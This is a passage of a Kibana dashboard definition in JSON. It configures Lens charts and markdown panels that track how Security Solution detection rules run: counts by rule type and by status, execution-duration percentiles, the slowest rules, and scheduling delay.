type.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-4eaf036b-c9f5-4206-bcfe-8033bec44a21\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"abcc85f3-00cd-48bd-a313-de50207ab1b6\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"top\",\"isInside\":false,\"showSingleSeries\":false,\"shouldTruncate\":false,\"verticalAlignment\":\"top\",\"horizontalAlignment\":\"left\",\"legendSize\":\"auto\",\"legendStats\":[\"currentAndLastValue\"]},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"bar_stacked\",\"layers\":[{\"layerId\":\"4eaf036b-c9f5-4206-bcfe-8033bec44a21\",\"seriesType\":\"bar_stacked\",\"xAccessor\":\"44be5a39-e31d-4242-9778-58ee5ffefbb8\",\"splitAccessor\":\"124a76f1-8df0-4410-87b0-25b9cb2398d9\",\"accessors\":[\"cb5d803d-fa0a-4062-a595-2cec9118bd31\"],\"layerType\":\"data\"}]},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"abcc85f3-00cd-48bd-a313-de50207ab1b6\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"4eaf036b-c9f5-4206-bcfe-8033bec44a21\":{\"columns\":{\"44be5a39-e31d-4242-9778-58ee5ffefbb8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true,\"dropPartials\":false}},\"cb5d803d-fa0a-4062-a595-2cec9118bd31\":{\"label\":\"Number of executions\",\"dataType\":\"number\",\"operationType\":\"count\",\"isBucketed\":false,\"scale\":\"ratio\",\"sourceField\":\"___records___\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true},\"124a76f1-8df0-4410-87b0-25b9cb2398d9\":{\"label\":\"Rule type\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.category\",\"isBucketed\":true,\"params\":{\"size\":10,\"orderBy\":{\"type\":\"column\",\"columnId\":\"cb5d803d-fa0a-4062-a595-2cec9118bd31\"},\"orderDirection\":\"desc\",\"otherBucket\":true,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"secondaryFields\":[]},\"customLabel\":true}},\"columnOrder\":[\"124a76f1-8df0-4410-87b0-25b9cb2398d9\",\"44be5a39-e31d-4242-9778-58ee5ffefbb8\",\"cb5d803d-fa0a-4062-a595-2cec9118bd31\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"78c659aa-a001-4c30-9452-e9c7d0c0ec5d\",\"gridData\":{\"i\":\"78c659aa-a001-4c30-9452-e9c7d0c0ec5d\",\"y\":24,\"x\":0,\"w\":21,\"h\":13}},{\"type\":\"lens\",\"title\":\"Executions by status\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"Histogram where each column shows a number of rule executions broken down by rule status (outcome of the rule execution).\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":true,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"running\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"running\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-4eaf036b-c9f5-4206-bcfe-8033bec44a21\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"0ccd359c-35a9-42ee-9b53-e0061755ffef\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"top\",\"isInside\":false,\"showSingleSeries\":false,\"shouldTruncate\":false,\"verticalAlignment\":\"top\",\"horizontalAlignment\":\"left\",\"legendSize\":\"auto\",\"legendStats\":[\"currentAndLastValue\"]},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"bar_stacked\",\"layers\":[{\"layerId\":\"4eaf036b-c9f5-4206-bcfe-8033bec44a21\",\"seriesType\":\"bar_stacked\",\"xAccessor\":\"44be5a39-e31d-4242-9778-58ee5ffefbb8\",\"splitAccessor\":\"124a76f1-8df0-4410-87b0-25b9cb2398d9\",\"accessors\":[\"cb5d803d-fa0a-4062-a595-2cec9118bd31\"],\"layerType\":\"data\",\"palette\":{\"type\":\"palette\",\"name\":\"status\"}}]},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":true,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"running\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"running\"}}}],\"index\":\"0ccd359c-35a9-42ee-9b53-e0061755ffef\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"4eaf036b-c9f5-4206-bcfe-8033bec44a21\":{\"columns\":{\"44be5a39-e31d-4242-9778-58ee5ffefbb8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true,\"dropPartials\":false}},\"cb5d803d-fa0a-4062-a595-2cec9118bd31\":{\"label\":\"Number of executions\",\"dataType\":\"number\",\"operationType\":\"count\",\"isBucketed\":false,\"scale\":\"ratio\",\"sourceField\":\"___records___\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true},\"124a76f1-8df0-4410-87b0-25b9cb2398d9\":{\"label\":\"Statuses\",\"dataType\":\"string\",\"operationType\":\"filters\",\"scale\":\"ordinal\",\"isBucketed\":true,\"params\":{\"filters\":[{\"label\":\"Succeeded\",\"input\":{\"query\":\"kibana.alert.rule.execution.status: \\\"succeeded\\\" \",\"language\":\"kuery\"}},{\"input\":{\"query\":\"kibana.alert.rule.execution.status: \\\"partial failure\\\" \",\"language\":\"kuery\"},\"label\":\"Warning\"},{\"input\":{\"query\":\"kibana.alert.rule.execution.status: \\\"failed\\\"\",\"language\":\"kuery\"},\"label\":\"Failed\"}]},\"customLabel\":true}},\"columnOrder\":[\"124a76f1-8df0-4410-87b0-25b9cb2398d9\",\"44be5a39-e31d-4242-9778-58ee5ffefbb8\",\"cb5d803d-fa0a-4062-a595-2cec9118bd31\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"b3dd29a9-c051-46ab-b1fa-facf899f7af9\",\"gridData\":{\"i\":\"b3dd29a9-c051-46ab-b1fa-facf899f7af9\",\"y\":24,\"x\":21,\"w\":27,\"h\":13}},{\"type\":\"visualization\",\"title\":\"\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"savedVis\":{\"title\":\"\",\"description\":\"\",\"type\":\"markdown\",\"params\":{\"fontSize\":12,\"openLinksInNewTab\":false,\"markdown\":\"**Total rule execution duration** shows how much time it took for a rule to run from the very start to the very end.\"},\"uiState\":{},\"data\":{\"aggs\":[],\"searchSource\":{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[]}}}},\"panelIndex\":\"e2b4b41a-2fd5-4733-a297-c67571b8bb57\",\"gridData\":{\"i\":\"e2b4b41a-2fd5-4733-a297-c67571b8bb57\",\"y\":37,\"x\":0,\"w\":48,\"h\":4}},{\"type\":\"lens\",\"title\":\"Total rule execution duration, percentiles\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"This chart aggregates this metric across all rules and shows how a few important percentiles of the metric were changing over time. 99th percentile means that 99% of rule executions had a total duration less than the percentile's value.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execute\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}}},{\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.category\",\"params\":{\"query\":\"siem\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"2720edea-b96b-47d7-bf57-ff3a4c91ab9d\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"right\",\"legendSize\":\"auto\",\"maxLines\":1},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"yLeftExtent\":{\"mode\":\"full\"},\"yRightExtent\":{\"mode\":\"full\"},\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"line\",\"layers\":[{\"layerId\":\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"accessors\":[\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"f623346f-da47-4819-b485-d3527bd4506e\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\"],\"position\":\"top\",\"seriesType\":\"line\",\"showGridlines\":false,\"layerType\":\"data\",\"xAccessor\":\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"yConfig\":[{\"forAccessor\":\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"color\":\"#d36086\",\"axisMode\":\"left\"},{\"forAccessor\":\"f623346f-da47-4819-b485-d3527bd4506e\",\"axisMode\":\"left\",\"color\":\"#9170b8\"},{\"forAccessor\":\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\",\"axisMode\":\"left\",\"color\":\"#6092c0\"}]}],\"curveType\":\"CURVE_MONOTONE_X\",\"yTitle\":\"Total execution duration, ms\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execute\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}}},{\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.category\",\"params\":{\"query\":\"siem\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}}],\"index\":\"2720edea-b96b-47d7-bf57-ff3a4c91ab9d\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\":{\"columns\":{\"2e39ea80-4360-44ef-b24b-91adba3184f8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true}},\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\":{\"label\":\"99th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_run_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":99},\"customLabel\":true},\"f623346f-da47-4819-b485-d3527bd4506e\":{\"label\":\"95th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_run_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":95},\"customLabel\":true},\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\":{\"label\":\"50th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_run_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":50},\"customLabel\":true}},\"columnOrder\":[\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"f623346f-da47-4819-b485-d3527bd4506e\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"ad5995be-bf0f-48ba-8dc8-7313ca3bfbae\",\"gridData\":{\"i\":\"ad5995be-bf0f-48ba-8dc8-7313ca3bfbae\",\"y\":41,\"x\":0,\"w\":21,\"h\":15}},{\"type\":\"lens\",\"title\":\"Total rule execution duration, top 5 rules per @timestamp\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"0b7e01b1-974a-4de9-867d-46fc000c63e3\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"right\",\"legendSize\":\"auto\"},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"yLeftExtent\":{\"mode\":\"full\"},\"yRightExtent\":{\"mode\":\"full\"},\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"line\",\"layers\":[{\"layerId\":\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"accessors\":[\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"],\"position\":\"top\",\"seriesType\":\"line\",\"showGridlines\":false,\"layerType\":\"data\",\"palette\":{\"type\":\"palette\",\"name\":\"default\"},\"xAccessor\":\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"splitAccessor\":\"3a521678-3e76-49b6-a379-eb75ef03604b\"}],\"yTitle\":\"Total execution duration, ms\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"0b7e01b1-974a-4de9-867d-46fc000c63e3\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\":{\"columns\":{\"2e39ea80-4360-44ef-b24b-91adba3184f8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true}},\"3a521678-3e76-49b6-a379-eb75ef03604b\":{\"label\":\"Top 5 values of rule.name\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.name\",\"isBucketed\":true,\"params\":{\"size\":5,\"orderBy\":{\"type\":\"column\",\"columnId\":\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"secondaryFields\":[],\"parentFormat\":{\"id\":\"terms\"}}},\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\":{\"label\":\"Total execution duration\",\"dataType\":\"number\",\"operationType\":\"max\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_run_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"customLabel\":true}},\"columnOrder\":[\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"3a521678-3e76-49b6-a379-eb75ef03604b\",\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"2eac0a4e-9ec7-433e-89bc-e8edc1dadae7\",\"gridData\":{\"i\":\"2eac0a4e-9ec7-433e-89bc-e8edc1dadae7\",\"y\":41,\"x\":21,\"w\":27,\"h\":15}},{\"type\":\"visualization\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"savedVis\":{\"id\":\"\",\"title\":\"\",\"description\":\"\",\"type\":\"markdown\",\"params\":{\"fontSize\":12,\"openLinksInNewTab\":false,\"markdown\":\"**Rule schedule delay** shows the difference between the planned rule start time (according to its schedule) and the time when it actually started. Normally, it should be about 3 seconds or less. When the cluster is overloaded, it can be way more than 3 seconds. This is when you'd want to scale your cluster according to the load or reduce it by disabling or optimizing the rules.\"},\"uiState\":{},\"data\":{\"aggs\":[],\"searchSource\":{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[]}}}},\"panelIndex\":\"a0f62bb1-a9c3-4c46-b0fb-137c7f2b4a0c\",\"gridData\":{\"i\":\"a0f62bb1-a9c3-4c46-b0fb-137c7f2b4a0c\",\"y\":56,\"x\":0,\"w\":48,\"h\":5}},{\"type\":\"lens\",\"title\":\"Rule scheduling delay, percentiles\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"This chart aggregates this metric across all rules and shows how a few important percentiles of the metric were changing over time. 99th percentile means that 99% of rule executions had a schedule delay less than the percentile's value.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execute\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}}},{\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.category\",\"params\":{\"query\":\"siem\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"4101bdcb-5ba8-406f-8893-07356a98d49b\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"right\",\"legendSize\":\"auto\",\"maxLines\":1},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"yLeftExtent\":{\"mode\":\"full\",\"niceValues\":true},\"yRightExtent\":{\"mode\":\"full\"},\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"line\",\"layers\":[{\"layerId\":\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"accessors\":[\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"f623346f-da47-4819-b485-d3527bd4506e\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\"],\"position\":\"top\",\"seriesType\":\"line\",\"showGridlines\":false,\"layerType\":\"data\",\"xAccessor\":\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"yConfig\":[{\"forAccessor\":\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"color\":\"#d36086\",\"axisMode\":\"left\"},{\"forAccessor\":\"f623346f-da47-4819-b485-d3527bd4506e\",\"axisMode\":\"left\",\"color\":\"#9170b8\"},{\"forAccessor\":\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e